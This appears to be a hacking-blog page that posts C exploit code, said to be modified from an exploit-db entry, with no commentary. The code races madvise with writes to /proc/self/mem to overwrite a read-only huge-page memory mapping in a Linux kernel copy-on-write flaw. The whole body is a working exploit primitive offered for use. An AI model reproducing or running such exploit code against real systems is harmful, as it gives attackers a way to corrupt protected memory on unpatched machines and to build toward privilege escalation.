Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863558179

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
 * The code is modified from https://www.exploit-db.com/exploits/43199/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>

#define TRIES_PER_PAGE (20000000)
#define PAGE_SIZE (0x1000)
#define MEMESET_VAL (0x41)
#define MAP_SIZE (0x200000)
#define STRING "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#define OFFSIZE ((sizeof(STRING)-1)/sizeof(char))

struct args{
  int fd;
  void *p;
  int stop;
  off_t off;
  char *chp;
};

void *write_thread(struct args *arg) {
  for (int i = 0; i < TRIES_PER_PAGE && !arg->stop; i++) {
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
    write(arg->fd, STRING, sizeof(STRING));
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
  }
  return NULL;
}

void *wait_for_success(struct args *arg) {
  while(*(arg->chp+arg->off*OFFSIZE) != 'A') {
    int i = madvise(arg->p, MAP_SIZE, MADV_DONTNEED);
    sched_yield();
  }
  arg->stop = 1;
  return NULL;
}

int main(void) {
  struct args arg;

  arg.off = 0;
  
  arg.p =  mmap((void*)0x40000000, MAP_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  
  if(arg.p == MAP_FAILED)
    perror("[!] mmap()");
  arg.chp = arg.p;
  printf("mmap address is %p\n", arg.p);
  madvise(arg.p, MAP_SIZE, MADV_HUGEPAGE);

  arg.fd = open("/proc/self/mem", O_RDWR);
  if (arg.fd < 0) {
    perror("[!] open()");
    return 1;
  }
  
  
  while(arg.off < PAGE_SIZE/sizeof(STRING)) {
    arg.stop = 0;
    pthread_t thread0, thread1;
    int ret = pthread_create(&thread0, NULL, (void *)wait_for_success, &arg);
    ret |= pthread_create(&thread1, NULL, (void *)write_thread, &arg);
    
    if (ret) {
      perror("[!] pthread_create()");
      return 1;
    }
    
    pthread_join(thread0, NULL);
    pthread_join(thread1, NULL); 
   
    printf("[*] Done 0x%x String\n", arg.off);
    arg.off++;
  }
  printf("[*] Overwrite a page\n");
  printf("%s\n", arg.p);
  return 0;
}